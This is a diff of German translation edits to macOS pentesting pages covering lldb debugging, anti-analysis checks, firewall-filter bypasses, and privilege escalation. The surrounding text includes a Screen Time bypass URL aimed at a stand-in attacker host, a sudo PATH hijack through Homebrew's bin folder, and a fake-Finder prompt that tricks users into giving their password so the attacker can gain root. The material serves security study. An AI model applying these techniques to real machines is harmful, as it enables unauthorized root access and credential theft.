-<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Befehl</strong></td><td><strong>Beschreibung</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Startet die Ausführung und stoppt am Einstiegspunkt</td></tr><tr><td><strong>continue (c)</strong></td><td>Setzt die Ausführung des debugged Prozesses fort.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.</td></tr><tr><td><strong>finish (f)</strong></td><td>Führt den Rest der Anweisungen in der aktuellen Funktion (“frame”) aus, gibt zurück und stoppt.</td></tr><tr><td><strong>control + c</strong></td><td>Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ... wo auch immer er sich gerade befindet.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Jede Funktion, die main genannt wird</p><p><code>b <binname>`main</code> #Hauptfunktion des Bins</p><p><code>b set -n main --shlib <lib_name></code> #Hauptfunktion des angegebenen Bins</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Jede NSFileManager-Methode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Break in allen Funktionen dieser Bibliothek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breakpoint-Liste</p><p><code>br e/dis <num></code> #Aktivieren/Deaktivieren des Breakpoints</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Hilfe zum Breakpoint-Befehl erhalten</p><p>help memory write #Hilfe zum Schreiben in den Speicher erhalten</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Zeigt den Speicher als nullterminierten String an.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Zeigt den Speicher als Assemblieranweisung an.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Zeigt den Speicher als Byte an.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dies wird das Objekt drucken, auf das der Parameter verweist</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Beachten Sie, dass die meisten von Apples Objective-C-APIs oder -Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA an diese Adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA an die Adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembliert die aktuelle Funktion</p><p>dis -n <funcname> #Disassembliert die Funktion</p><p>dis -n <funcname> -b <basename> #Disassembliert die Funktion<br>dis -c 6 #Disassembliert 6 Zeilen<br>dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen<br>dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register</td></tr><tr><td><strong>image dump sections</strong></td><td>Gibt die Karte des aktuellen Prozessspeichers aus</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Erhält die Adresse aller Symbole von CoreNLP</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Befehl</strong></td><td><strong>Beschreibung</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Startet die Ausführung und stoppt am Einstiegspunkt</td></tr><tr><td><strong>continue (c)</strong></td><td>Setzt die Ausführung des debugged Prozesses fort.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintauchen.</td></tr><tr><td><strong>finish (f)</strong></td><td>Führt den Rest der Anweisungen in der aktuellen Funktion (“frame”) aus, gibt zurück und stoppt.</td></tr><tr><td><strong>control + c</strong></td><td>Pause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ... wo auch immer er sich gerade befindet.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Jede Funktion, die main genannt wird</p><p><code>b <binname>`main</code> #Hauptfunktion des Bins</p><p><code>b set -n main --shlib <lib_name></code> #Hauptfunktion des angegebenen Bins</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Jede NSFileManager-Methode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Break in allen Funktionen dieser Bibliothek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breakpoint-Liste</p><p><code>br e/dis <num></code> #Aktivieren/Deaktivieren des Breakpoints</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Hilfe zum Breakpoint-Befehl erhalten</p><p>help memory write #Hilfe zum Schreiben in den Speicher erhalten</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Zeigt den Speicher als nullterminierten String an.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Zeigt den Speicher als Assemblieranweisung an.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Zeigt den Speicher als Byte an.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dies wird das Objekt drucken, auf das der Parameter verweist</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Beachten Sie, dass die meisten von Apples Objective-C-APIs oder -Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA an diese Adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA an die Adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembliert die aktuelle Funktion</p><p>dis -n <funcname> #Disassembliert die Funktion</p><p>dis -n <funcname> -b <basename> #Disassembliert die Funktion<br>dis -c 6 #Disassembliert 6 Zeilen<br>dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen<br>dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register</td></tr><tr><td><strong>image dump sections</strong></td><td>Gibt die Karte des aktuellen Prozessspeichers aus</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Erhält die Adresse aller Symbole von CoreNLP</td></tr></tbody></table>
 
 > [!TIP]
 > Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie:
@@ -450,19 +450,19 @@ settings set target.x86-disassembly-flavor intel
 >
 > `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
 
-### Anti-Dynamic Analyse
+### Anti-Dynamic Analysis
 
 #### VM-Erkennung
 
 - Der Befehl **`sysctl hw.model`** gibt "Mac" zurück, wenn der **Host ein MacOS** ist, aber etwas anderes, wenn es sich um eine VM handelt.
 - Durch das Spielen mit den Werten von **`hw.logicalcpu`** und **`hw.physicalcpu`** versuchen einige Malware, zu erkennen, ob es sich um eine VM handelt.
-- Einige Malware kann auch **erkennen**, ob die Maschine **VMware** basiert ist, basierend auf der MAC-Adresse (00:50:56).
+- Einige Malware kann auch **erkennen**, ob die Maschine **VMware** basiert, basierend auf der MAC-Adresse (00:50:56).
 - Es ist auch möglich zu finden, **ob ein Prozess debuggt wird** mit einem einfachen Code wie:
 - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //Prozess wird debuggt }`
-- Es kann auch den **`ptrace`**-Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger anhängt und verfolgt.
+- Es kann auch den **`ptrace`**-Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger sich anheftet und verfolgt.
 - Sie können überprüfen, ob die **`sysctl`**- oder **`ptrace`**-Funktion **importiert** wird (aber die Malware könnte sie dynamisch importieren)
 - Wie in diesem Bericht erwähnt, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
-“_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT_DENY_ATTACH** verwendet._”
+“_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT_DENY_ATTACH** verwendet_”
 
 ## Core Dumps
 
@@ -482,7 +482,7 @@ ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzberich
 Für Anwendungen und andere Prozesse, die **im benutzerspezifischen launchd-Kontext** ausgeführt werden, läuft ReportCrash als LaunchAgent und speichert Absturzberichte im `~/Library/Logs/DiagnosticReports/` des Benutzers.\
 Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** und andere privilegierte Prozesse ausgeführt werden, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems.
 
-Wenn Sie sich Sorgen über Absturzberichte **machen, die an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**.
+Wenn Sie sich Sorgen über Absturzberichte machen, die **an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**.
 ```bash
 #To disable crash reporting:
 launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -511,16 +511,16 @@ Wenn Sie über eine SSH-Verbindung fuzzing, ist es wichtig sicherzustellen, dass
 sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
 sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
 ```
-### Internal Handlers
+### Interne Handler
 
-**Überprüfen Sie die folgende Seite**, um herauszufinden, welche App für **die Handhabung des angegebenen Schemas oder Protokolls verantwortlich ist:**
+**Überprüfen Sie die folgende Seite**, um herauszufinden, wie Sie herausfinden können, welche App für **die Handhabung des angegebenen Schemas oder Protokolls verantwortlich ist:**
 
 
 {{#ref}}
 ../macos-file-extension-apps.md
 {{#endref}}
 
-### Enumerating Network Processes
+### Auflisten von Netzwerkprozessen
 
 Es ist interessant, Prozesse zu finden, die Netzwerkdaten verwalten:
 ```bash
@@ -545,7 +545,7 @@ Funktioniert für CLI-Tools
 
 #### [Litefuzz](https://github.com/sec-tools/litefuzz)
 
-Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie z. B. eindeutige Dateinamen, die richtige Erweiterung, und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen...
+Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie z. B. eindeutige Dateinamen, die richtige Erweiterung, und dass die Dateien aus dem Sandbox-Verzeichnis (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen...
 
 Einige Beispiele:
 ```bash

src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

@@ -34,7 +34,7 @@ lsof -i TCP -sTCP:ESTABLISHED
 ```
 ### Missbrauch von DNS
 
-DNS-Auflösungen erfolgen über die signierte Anwendung **`mdnsreponder`**, die wahrscheinlich berechtigt ist, DNS-Server zu kontaktieren.
+DNS-Auflösungen erfolgen über die **`mdnsreponder`** signierte Anwendung, die wahrscheinlich berechtigt ist, DNS-Server zu kontaktieren.
 
 <figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
 
@@ -74,8 +74,8 @@ macos-proces-abuse/
 
 ## Aktuelle macOS Firewall-Umgehungsschwachstellen (2023-2025)
 
-### Umgehung des Webinhaltsfilters (Bildschirmzeit) – **CVE-2024-44206**
+### Umgehung des Webinhaltfilters (Bildschirmzeit) – **CVE-2024-44206**
-Im Juli 2024 hat Apple einen kritischen Fehler in Safari/WebKit behoben, der den systemweiten „Webinhaltsfilter“ beeinträchtigte, der von den Bildschirmzeit-Elterngesetzen verwendet wird. 
+Im Juli 2024 hat Apple einen kritischen Fehler in Safari/WebKit behoben, der den systemweiten „Webinhaltfilter“ beeinträchtigte, der von den Bildschirmzeit-Elterngesteuerten verwendet wird. 
 Eine speziell gestaltete URI (zum Beispiel mit doppelt URL-kodiertem “://”) wird von der Bildschirmzeit-ACL nicht erkannt, aber von WebKit akzeptiert, sodass die Anfrage ungefiltert gesendet wird. Jeder Prozess, der eine URL öffnen kann (einschließlich sandboxed oder unsigniertem Code), kann daher auf Domains zugreifen, die vom Benutzer oder einem MDM-Profil ausdrücklich blockiert sind.
 
 Praktischer Test (nicht gepatchtes System):
@@ -84,7 +84,7 @@ open "http://attacker%2Ecom%2F./"   # should be blocked by Screen Time
 # if the patch is missing Safari will happily load the page
 ```
 ### Packet Filter (PF) Regelreihenfolge-Fehler in der frühen macOS 14 “Sonoma”
-Während des macOS 14 Beta-Zyklus führte Apple eine Regression im Userspace-Wraparound **`pfctl`** ein. Regeln, die mit dem `quick` Schlüsselwort hinzugefügt wurden (verwendet von vielen VPN-Kill-Switches), wurden stillschweigend ignoriert, was zu Datenlecks führte, selbst wenn eine VPN/Firewall-GUI *blockiert* meldete. Der Fehler wurde von mehreren VPN-Anbietern bestätigt und in RC 2 (Build 23A344) behoben.
+Während des macOS 14 Beta-Zyklus führte Apple eine Regression im Userspace-Wrapper um **`pfctl`** ein. Regeln, die mit dem `quick` Schlüsselwort hinzugefügt wurden (verwendet von vielen VPN-Kill-Switches), wurden stillschweigend ignoriert, was zu Datenlecks führte, selbst wenn eine VPN-/Firewall-GUI *blockiert* meldete. Der Fehler wurde von mehreren VPN-Anbietern bestätigt und in RC 2 (Build 23A344) behoben.
 
 Schneller Leak-Check:
 ```bash

src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md

@@ -10,7 +10,7 @@
 - **/dev**: Alles wird als Datei behandelt, sodass Sie hier Hardwaregeräte sehen können.
 - **/etc**: Konfigurationsdateien
 - **/Library**: Viele Unterverzeichnisse und Dateien, die mit Einstellungen, Caches und Protokollen zu tun haben, finden sich hier. Ein Library-Ordner existiert im Root-Verzeichnis und im Verzeichnis jedes Benutzers.
-- **/private**: Nicht dokumentiert, aber viele der genannten Ordner sind symbolische Links zum privaten Verzeichnis.
+- **/private**: Undokumentiert, aber viele der genannten Ordner sind symbolische Links zum privaten Verzeichnis.
 - **/sbin**: Essentielle System-Binaries (bezogen auf die Verwaltung)
 - **/System**: Dateien, um OS X auszuführen. Hier sollten hauptsächlich nur Apple-spezifische Dateien (keine Drittanbieter) zu finden sein.
 - **/tmp**: Dateien werden nach 3 Tagen gelöscht (es ist ein symbolischer Link zu /private/tmp)
@@ -23,8 +23,8 @@
 ### Anwendungsordner
 
 - **Systemanwendungen** befinden sich unter `/System/Applications`
-- **Installierte** Anwendungen werden normalerweise in `/Applications` oder in `~/Applications` installiert.
+- **Installierte** Anwendungen sind normalerweise in `/Applications` oder in `~/Applications` installiert.
-- **Anwendungsdaten** finden sich in `/Library/Application Support` für Anwendungen, die als Root ausgeführt werden, und in `~/Library/Application Support` für Anwendungen, die als Benutzer ausgeführt werden.
+- **Anwendungsdaten** finden sich in `/Library/Application Support` für die als Root ausgeführten Anwendungen und `~/Library/Application Support` für Anwendungen, die als Benutzer ausgeführt werden.
 - Drittanbieteranwendungen **Dämonen**, die **als Root ausgeführt werden müssen**, befinden sich normalerweise in `/Library/PrivilegedHelperTools/`
 - **Sandboxed** Apps sind im Ordner `~/Library/Containers` abgebildet. Jede App hat einen Ordner, der nach der Bundle-ID der Anwendung benannt ist (`com.apple.Safari`).
 - Der **Kernel** befindet sich in `/System/Library/Kernels/kernel`
@@ -50,7 +50,7 @@ macos-installers-abuse.md
 - **`.dmg`**: Apple Disk Image-Dateien sind sehr häufig für Installer.
 - **`.kext`**: Es muss einer bestimmten Struktur folgen und ist die OS X-Version eines Treibers. (es ist ein Bundle)
 - **`.plist`**: Auch bekannt als Property List, speichert Informationen im XML- oder Binärformat.
-- Kann XML oder binär sein. Binäre können gelesen werden mit:
+- Kann XML oder binär sein. Binäre können mit folgendem gelesen werden:
 - `defaults read config.plist`
 - `/usr/libexec/PlistBuddy -c print config.plsit`
 - `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
@@ -82,7 +82,7 @@ In iOS finden Sie sie in **`/System/Library/Caches/com.apple.dyld/`**.
 
 Ähnlich wie der dyld shared cache sind der Kernel und die Kernel-Erweiterungen ebenfalls in einem Kernel-Cache kompiliert, der beim Booten geladen wird.
 
-Um die Bibliotheken aus dem einzelnen Datei-dylib-Shared-Cache zu extrahieren, war es möglich, das Binärprogramm [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) zu verwenden, das heutzutage möglicherweise nicht mehr funktioniert, aber Sie können auch [**dyldextractor**](https://github.com/arandomdev/dyldextractor) verwenden:
+Um die Bibliotheken aus dem einzelnen Datei-dylib-Shared-Cache zu extrahieren, war es möglich, das Binärprogramm [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) zu verwenden, das möglicherweise heutzutage nicht mehr funktioniert, aber Sie können auch [**dyldextractor**](https://github.com/arandomdev/dyldextractor) verwenden:
 ```bash
 # dyld_shared_cache_util
 dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -121,7 +121,7 @@ Verwendung der Umgebungsvariablen:
 
 ### Ordners Berechtigungen
 
-In einem **Ordner** ermöglicht **lesen** das **Auflisten**, **schreiben** erlaubt das **Löschen** und **schreiben** von Dateien darin, und **ausführen** erlaubt das **Durchqueren** des Verzeichnisses. Ein Benutzer mit **Lesezugriff auf eine Datei** in einem Verzeichnis, in dem er **keine Ausführungsberechtigung** hat, **wird die Datei nicht lesen können**.
+In einem **Ordner** erlaubt **lesen**, ihn **aufzulisten**, **schreiben** erlaubt das **Löschen** und **Schreiben** von Dateien darin, und **ausführen** erlaubt das **Durchqueren** des Verzeichnisses. Ein Benutzer mit **Lesezugriff auf eine Datei** in einem Verzeichnis, in dem er **keine Ausführungsberechtigung** hat, **wird die Datei nicht lesen können**.
 
 ### Flag-Modifikatoren
 
@@ -130,7 +130,7 @@ Es gibt einige Flags, die in den Dateien gesetzt werden können, die das Verhalt
 - **`uchg`**: Bekannt als **uchange**-Flag, wird **jede Aktion** zum Ändern oder Löschen der **Datei** verhindern. Um es zu setzen, tun Sie: `chflags uchg file.txt`
 - Der Root-Benutzer könnte **das Flag entfernen** und die Datei ändern.
 - **`restricted`**: Dieses Flag schützt die Datei **durch SIP** (Sie können dieses Flag nicht zu einer Datei hinzufügen).
-- **`Sticky bit`**: Wenn ein Verzeichnis mit Sticky-Bit, **kann nur** der **Verzeichnisbesitzer oder Root Dateien umbenennen oder löschen**. Typischerweise wird dies im /tmp-Verzeichnis gesetzt, um zu verhindern, dass normale Benutzer die Dateien anderer Benutzer löschen oder verschieben.
+- **`Sticky bit`**: Wenn ein Verzeichnis mit Sticky Bit, **kann nur** der **Verzeichnisbesitzer oder Root Dateien umbenennen oder löschen**. Typischerweise wird dies im /tmp-Verzeichnis gesetzt, um zu verhindern, dass normale Benutzer die Dateien anderer Benutzer löschen oder verschieben.
 
 Alle Flags finden Sie in der Datei `sys/stat.h` (finden Sie sie mit `mdfind stat.h | grep stat.h`) und sind:
 
@@ -172,7 +172,7 @@ ls -lde Movies
 drwx------+ 7 username  staff  224 15 Apr 19:42 Movies
 0: group:everyone deny delete
 ```
-Sie können **alle Dateien mit ACLs** mit (das ist sehr langsam) finden:
+Sie können **alle Dateien mit ACLs** mit (das ist sehr langsam):
 ```bash
 ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
 ```
@@ -183,8 +183,8 @@ Erweiterte Attribute haben einen Namen und einen beliebigen gewünschten Wert un
 - `com.apple.resourceFork`: Kompatibilität mit Resource Fork. Auch sichtbar als `filename/..namedfork/rsrc`
 - `com.apple.quarantine`: MacOS: Gatekeeper-Quarantänemechanismus (III/6)
 - `metadata:*`: MacOS: verschiedene Metadaten, wie `_backup_excludeItem` oder `kMD*`
-- `com.apple.lastuseddate` (#PS): Datum der letzten Dateinutzung
+- `com.apple.lastuseddate` (#PS): Letztes Dateinutzungsdatum
-- `com.apple.FinderInfo`: MacOS: Finder-Informationen (z.B. Farb-Tags)
+- `com.apple.FinderInfo`: MacOS: Finder-Informationen (z. B. Farb-Tags)
 - `com.apple.TextEncoding`: Gibt die Textkodierung von ASCII-Textdateien an
 - `com.apple.logd.metadata`: Wird von logd für Dateien in `/var/db/diagnostics` verwendet
 - `com.apple.genstore.*`: Generational storage (`/.DocumentRevisions-V100` im Wurzelverzeichnis des Dateisystems)
@@ -192,7 +192,7 @@ Erweiterte Attribute haben einen Namen und einen beliebigen gewünschten Wert un
 - `com.apple.uuidb.boot-uuid`: logd-Markierungen von Boot-Epochen mit eindeutiger UUID
 - `com.apple.decmpfs`: MacOS: Transparente Dateikompression (II/7)
 - `com.apple.cprotect`: \*OS: Per-Datei-Verschlüsselungsdaten (III/11)
-- `com.apple.installd.*`: \*OS: Metadaten, die von installd verwendet werden, z.B. `installType`, `uniqueInstallID`
+- `com.apple.installd.*`: \*OS: Metadaten, die von installd verwendet werden, z. B. `installType`, `uniqueInstallID`
 
 ### Resource Forks | macOS ADS
 
@@ -237,7 +237,7 @@ macos-memory-dumping.md
 
 ## Risikokategorie Dateien Mac OS
 
-Das Verzeichnis `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` ist der Ort, an dem Informationen über das **Risiko, das mit verschiedenen Dateierweiterungen verbunden ist**, gespeichert werden. Dieses Verzeichnis kategorisiert Dateien in verschiedene Risikostufen, die beeinflussen, wie Safari mit diesen Dateien beim Herunterladen umgeht. Die Kategorien sind wie folgt:
+Das Verzeichnis `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` ist der Ort, an dem Informationen über das **Risiko, das mit verschiedenen Dateierweiterungen verbunden ist**, gespeichert sind. Dieses Verzeichnis kategorisiert Dateien in verschiedene Risikostufen, die beeinflussen, wie Safari mit diesen Dateien beim Herunterladen umgeht. Die Kategorien sind wie folgt:
 
 - **LSRiskCategorySafe**: Dateien in dieser Kategorie gelten als **vollständig sicher**. Safari öffnet diese Dateien automatisch, nachdem sie heruntergeladen wurden.
 - **LSRiskCategoryNeutral**: Diese Dateien kommen ohne Warnungen und werden **nicht automatisch von Safari geöffnet**.

src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md

@@ -4,7 +4,7 @@
 
 ## TCC Privilegieneskalation
 
-Wenn Sie hier sind, um nach TCC-Privilegieneskalation zu suchen, gehen Sie zu:
+Wenn Sie hierher gekommen sind, um nach TCC-Privilegieneskalation zu suchen, gehen Sie zu:
 
 {{#ref}}
 macos-security-protections/macos-tcc/
@@ -39,7 +39,7 @@ chmod +x /opt/homebrew/bin/ls
 # victim
 sudo ls
 ```
-Beachten Sie, dass ein Benutzer, der das Terminal verwendet, höchstwahrscheinlich **Homebrew installiert** hat. Es ist also möglich, Binärdateien in **`/opt/homebrew/bin`** zu hijacken.
+Beachten Sie, dass ein Benutzer, der das Terminal verwendet, höchstwahrscheinlich **Homebrew installiert** hat. Daher ist es möglich, Binärdateien in **`/opt/homebrew/bin`** zu hijacken.
 
 ### Dock-Imitation
 
@@ -126,9 +126,9 @@ Einige Vorschläge:
 
 - Sie **können den Finder nicht aus dem Dock entfernen**, also wenn Sie ihn zum Dock hinzufügen möchten, könnten Sie den gefälschten Finder direkt neben den echten setzen. Dafür müssen Sie **den gefälschten Finder-Eintrag am Anfang des Dock-Arrays hinzufügen**.
 - Eine andere Möglichkeit ist, ihn nicht im Dock zu platzieren und ihn einfach zu öffnen, "Finder fragt, um den Finder zu steuern" ist nicht so seltsam.
-- Eine weitere Möglichkeit, um **ohne Passwortabfrage** auf root zu eskalieren, ist, den Finder wirklich nach dem Passwort zu fragen, um eine privilegierte Aktion auszuführen:
+- Eine weitere Möglichkeit, um **ohne Passwortabfrage** auf Root zu eskalieren, ist, den Finder wirklich nach dem Passwort zu fragen, um eine privilegierte Aktion auszuführen:
 - Bitten Sie den Finder, eine neue **`sudo`**-Datei nach **`/etc/pam.d`** zu kopieren (Die Eingabeaufforderung, die nach dem Passwort fragt, wird anzeigen, dass "Finder sudo kopieren möchte")
-- Bitten Sie den Finder, ein neues **Authorization Plugin** zu kopieren (Sie könnten den Dateinamen kontrollieren, sodass die Eingabeaufforderung, die nach dem Passwort fragt, anzeigen wird, dass "Finder Finder.bundle kopieren möchte")
+- Bitten Sie den Finder, ein neues **Authorization Plugin** zu kopieren (Sie könnten den Dateinamen steuern, sodass die Eingabeaufforderung, die nach dem Passwort fragt, anzeigt, dass "Finder Finder.bundle kopieren möchte")
 ```bash
 #!/bin/sh
 
@@ -206,7 +206,7 @@ killall Dock
 ### CVE-2020-9771 - mount_apfs TCC-Umgehung und Rechteausweitung
 
 **Jeder Benutzer** (auch unprivilegierte) kann einen Time Machine-Snapshot erstellen und einbinden und **auf ALLE Dateien** dieses Snapshots zugreifen.\
-Die **einzige Berechtigung**, die benötigt wird, ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf das Laufwerk** (FDA) benötigt (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
+Die **einzige Berechtigung**, die benötigt wird, ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf die Festplatte** (FDA) hat (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
 ```bash
 # Create snapshot
 tmutil localsnapshot

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md

@@ -12,8 +12,8 @@ Dann wurde **`posix_spawn`** eingeführt, das **`vfork`** und **`execve`** in ei
 - `POSIX_SPAWN_RESETIDS`: Setzt effektive IDs auf reale IDs zurück
 - `POSIX_SPAWN_SETPGROUP`: Setzt die Prozessgruppen-Zugehörigkeit
 - `POSUX_SPAWN_SETSIGDEF`: Setzt das Standardverhalten für Signale
-- `POSIX_SPAWN_SETSIGMASK`: Setzt die Signalmaske
+- `POSIX_SPAWN_SETSIGMASK`: Setzt die Signalmasken
-- `POSIX_SPAWN_SETEXEC`: Exec im selben Prozess (wie `execve` mit mehr Optionen)
+- `POSIX_SPAWN_SETEXEC`: Führt im selben Prozess aus (wie `execve` mit mehr Optionen)
 - `POSIX_SPAWN_START_SUSPENDED`: Startet angehalten
 - `_POSIX_SPAWN_DISABLE_ASLR`: Startet ohne ASLR
 - `_POSIX_SPAWN_NANO_ALLOCATOR:` Verwendet den Nano-Allocator von libmalloc
@@ -34,7 +34,7 @@ PIDs, Prozessidentifikatoren, identifizieren einen einzigartigen Prozess. In XNU
 **Prozesse** können in **Gruppen** eingefügt werden, um die Handhabung zu erleichtern. Zum Beispiel werden Befehle in einem Shell-Skript in derselben Prozessgruppe sein, sodass es möglich ist, **sie zusammen zu signalisieren**, beispielsweise mit kill.\
 Es ist auch möglich, **Prozesse in Sitzungen zu gruppieren**. Wenn ein Prozess eine Sitzung startet (`setsid(2)`), werden die Kindprozesse in die Sitzung gesetzt, es sei denn, sie starten ihre eigene Sitzung.
 
